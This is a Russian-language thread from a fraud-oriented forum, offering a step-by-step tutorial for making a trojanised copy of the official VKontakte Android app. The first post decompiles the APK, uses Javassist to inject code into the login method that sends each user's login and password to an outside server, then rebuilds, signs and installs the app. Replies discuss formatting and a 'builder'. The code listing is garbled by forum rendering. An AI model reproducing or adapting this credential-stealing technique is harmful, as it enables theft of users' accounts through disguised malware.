1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Делаем фейк VK под Android из официального клиента

Тема в разделе "Android [OS]", создана пользователем bylie640, 7 авг 2014.

  1. TopicStarter Overlay
    bylie640

    bylie640

    Регистрация:
    14 апр 2013
    Сообщения:
    125
    Симпатии:
    53
    Данная статья взята с блога Please login or register to view links. Все изображения перезалиты на сторонний ФО.



    Решил немного покопаться в приложениях на Java и посмотреть возможности модификации при отсутствии оригинальных исходных кодов. В качестве объекта исследования был взят Please login or register to view links. Нашей целью будет модификация приложения таким образом, чтобы данные, отправляемые клиентом при авторизации, отправлялись также на сторонний сервер.
    Для начала нам понадобятся следующие вещи: Please login or register to view links (для тестирования приложения), apktool (для проведения необходимых манипуляций с Please login or register to view links),Please login or register to view links (для преобразования dex файлов в jar-архивы и подписи результирующего apk тестовой подписью), Please login or register to view links (для декомпиляции кода и изучения его структуры).
    Теперь нам необходимо где-то взять официальное приложение. Вариантов множество, например: можно воспользоваться расширением Please login or register to view links для Google Chrome, можно взять с какого-нибудь форума, либо со своего Android-устройства.

    Итак, мы получили APK-файл. Воспользуемся apktool, чтобы его распаковать. Для этого откроем консоль и выполним следующую команду:

    Код:
    apktool d -s -r vk.apk
    1. Здесь и далее я предполагаю, что в текущей директории присутствует вызываемое приложение (в данном случае apktool), либо путь к директории с ним добавлен в переменную окружения PATH. Флаги s и r необходимы, чтобы утилита извлекла ресурсы и код приложения как есть, без каких-либо дополнительных преобразований.
    2. После выполнения вышеуказанной команды у нас появилась директория со следующей структурой:
    3. Код:
    4. AndroidManifest.xml
    5. │ apktool.yml
    6. │ classes.dex
    7. │ resources.arsc
    8. ├───assets
    9. ├───lib
    10. └───res
    11. Файл classes.dex содержит интересующий нас код. Воспользуемся утилитой из набора dex2jar и преобразуем его в jar-файл. Для этого выполним в консоли:
    12. Код:
    13. d2j-dex2jar classes.dex
    14. Получившийся jar-файл открываем в JD-GUI.
    15. 4231436.png
    16. Ищем метод, отвечающий за процесс авторизации пользователя в ВКонтакте. Находим метод doAuth в классе Auth.
    17. 4220172.png
    18. Теперь нам необходимо как-то внедрить свой код в метод doAuth, который будет отсылать данные пользователя на сторонний сервер. Можно было бы заняться ручной правкой байткода, сгенерированного Java, но это затяжное и занудное занятие. Я решил воспользоваться библиотекой Javassist, которая позволяет производить необходимую модификацию байткода, но при этом писать внедряемый код на Java.
    19. Напишем небольшую программу с использованием Javassist, которая добавит в начало метода doAuth дополнительный код, осуществляющий отправку данных.
    20. Код:
    21. import javassist.*;
    22. import java.util.logging.*;
    23. import java.io.IOException;
    public class Hook
    1. public void addHook(String targetClass, String targetMethod)
    2. {
    3. throws NotFoundException, CannotCompileException, IOException
    4. {
    5. Logger logger = Logger.getLogger("Javassist");
    6. final String targetFolder = "./modified/";
    try
    1. final ClassPool pool = ClassPool.getDefault();
    2. {
    3. // Добавим пути, где javassist будет искать .class файлы используемых в добавляемом коде методов
    4. pool.appendClassPath(new LoaderClassPath(getClass().getClassLoader()));
    5. pool.appendClassPath("./android.jar");
    // Найдем модифицируемый метод в целевом классе
    1. final CtClass compiledClass = pool.get(targetClass);
    2. final CtMethod method = compiledClass.getDeclaredMethod(targetMethod);
    // Добавим наш код ($1, $2 - аргументы, которые получает оригинальный метод)
    1. // Подробнее почитать можно тут: Please login or register to view links
    2. method.insertBefore("{ try {android.net.http.AndroidHttpClient.newInstance(\"Android\").execute(new org.apache.http.client.methods.HttpGet(\"Please login or register to view links" + $1 + \"&password=\" + $2 ));} catch (Exception e) {} }");
    3. compiledClass.writeFile(targetFolder);
    logger.info(targetClass + "." + targetMethod + " has been modified and saved under " + targetFolder);
    1. logger.warning("Failed to find the target class to modify " + targetClass);
    2. }
    3. catch (NotFoundException e)
    4. {
    5. }
    6. }
    public static void main(String[] args)
    1. final String targetClass = "com.vkontakte.android.Auth";
    2. throws Exception
    3. {
    4. final String targetMethod = "doAuth";
    new Hook().addHook(targetClass, targetMethod);
    1. }
    2. }
    3. Внедряемый код приведен в виде одной строки, что не очень удобно. Приведу его на всякий случай отдельно для удобства.
    Код:
    { try { android.net.http.AndroidHttpClient.newInstance("Android").execute(new org.apache.http.client.methods.HttpGet("Please login or register to view links" + $1 + "&password=" + $2 ));
    1. }
    2. }
    3. catch (Exception e) {}
    4. Скомпилируем вышеописанный код из консоли.

    Код:
    javac -cp ./javassist.jar Hook.java

    1. Прежде чем запускать получившуюся программу, распакуем Auth.class из jar-файла (который мы получили ранее из dex-файла) в директорию рядом с сохранением полных путей. Также в директории с программой должны присутствовать файлы javassist.jar и android.jar (из Android SDK). Всё, теперь можно запускать.
    2. Код:
    3. java -cp .;javassist.jar;android.jar Hook
    4. После успешного выполнения мы получили модифицированный Auth.class, в этом можно убедиться, открыв файл в JD-GUI.
    5. 4216076.png
    6. Заменим Auth.class в jar-файле с помощью любого архиватора. Воспользуемся d2j-jar2dex.bat и преобразуем jar-файл обратно в dex-файл.
    7. Код:
    8. d2j-jar2dex classes_dex2jar.jar
    9. Заменим classes.dex в директории, куда мы распаковывали apk-файл с помощью apktool, и создадим из директории новый apk-файл.
    10. Код:
    11. apktool b vk vk.apk
    12. У получившегося файла отсутствует цифровая подпись. Исправим это с помощью d2j-apk-sign из набора dex2jar.
    13. Код:
    14. d2j-apk-sign vk.apk
    15. Настало время протестировать получвшийся файл. Для этого нам понадобится эмулятор из набора Android SDK или реальное устройство. В случае с эмулятором всё просто: настраиваем эмулятор, запускаем виртуальное устройство, выполняем в консоли adb install vk-signed.apk.
    16. 4207884.png
    17. Запустим какой-нибудь сетевой снифер (я воспользовался Wireshark), запустим приложение ВКонтакте на эмуляторе и попробуем авторизоваться.
    18. 4252943.png
     
    • Like Like x 2
    Метки:
  2. ResH

    ResH Команда форума

    Регистрация:
    26 июл 2012
    Сообщения:
    1.681
    Симпатии:
    2.274
    оформи тему нормально
     
  3. onehalf

    onehalf

    Регистрация:
    2 мар 2014
    Сообщения:
    11
    Симпатии:
    1
    тема не читабельна, приходится выделять, а так +
     
  4. трахтенберг

    трахтенберг

    Регистрация:
    17 дек 2012
    Сообщения:
    272
    Симпатии:
    197
    ctrl+c, ctrl+v инфа сотка
     
  5. TopicStarter Overlay
    bylie640

    bylie640

    Регистрация:
    14 апр 2013
    Сообщения:
    125
    Симпатии:
    53
    типо антинуб)))))))
     
  6. ~Hemul'~

    ~Hemul'~ Гость

    Мои глаза, они кровоточат.. А так то норм)
     
  7. K_NoW

    K_NoW HackMe Please

    Регистрация:
    16 мар 2014
    Сообщения:
    464
    Симпатии:
    222
    Вау. Если бы придумали билдер под это дело, цены бы ему не было.
     
  8. NANOTECH

    NANOTECH

    Регистрация:
    11 дек 2012
    Сообщения:
    150
    Симпатии:
    69
    "пасспортов" с одной "с" надо писать)
     
    • Dislike Dislike x 1
  9. K_NoW

    K_NoW HackMe Please

    Регистрация:
    16 мар 2014
    Сообщения:
    464
    Симпатии:
    222
    русский плохо знаю)))
     

Поделиться этой страницей

Загрузка...